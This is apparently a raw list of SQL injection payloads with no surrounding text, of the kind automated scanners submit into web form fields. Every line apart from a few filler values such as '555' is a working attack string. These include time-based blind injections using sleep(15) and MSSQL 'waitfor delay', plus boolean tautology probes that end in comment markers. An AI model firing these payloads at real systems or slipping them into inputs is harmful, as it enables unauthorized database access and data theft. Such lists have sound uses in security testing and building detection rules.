1

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

-1' OR 2+315-315-1=0+0+0+1 --

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

-1' OR 2+528-528-1=0+0+0+1 or '8nNBiu5W'='

-1" OR 2+471-471-1=0+0+0+1 --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555

if(now()=sysdate(),sleep(15),0)

1 waitfor delay '0:0:15' --

555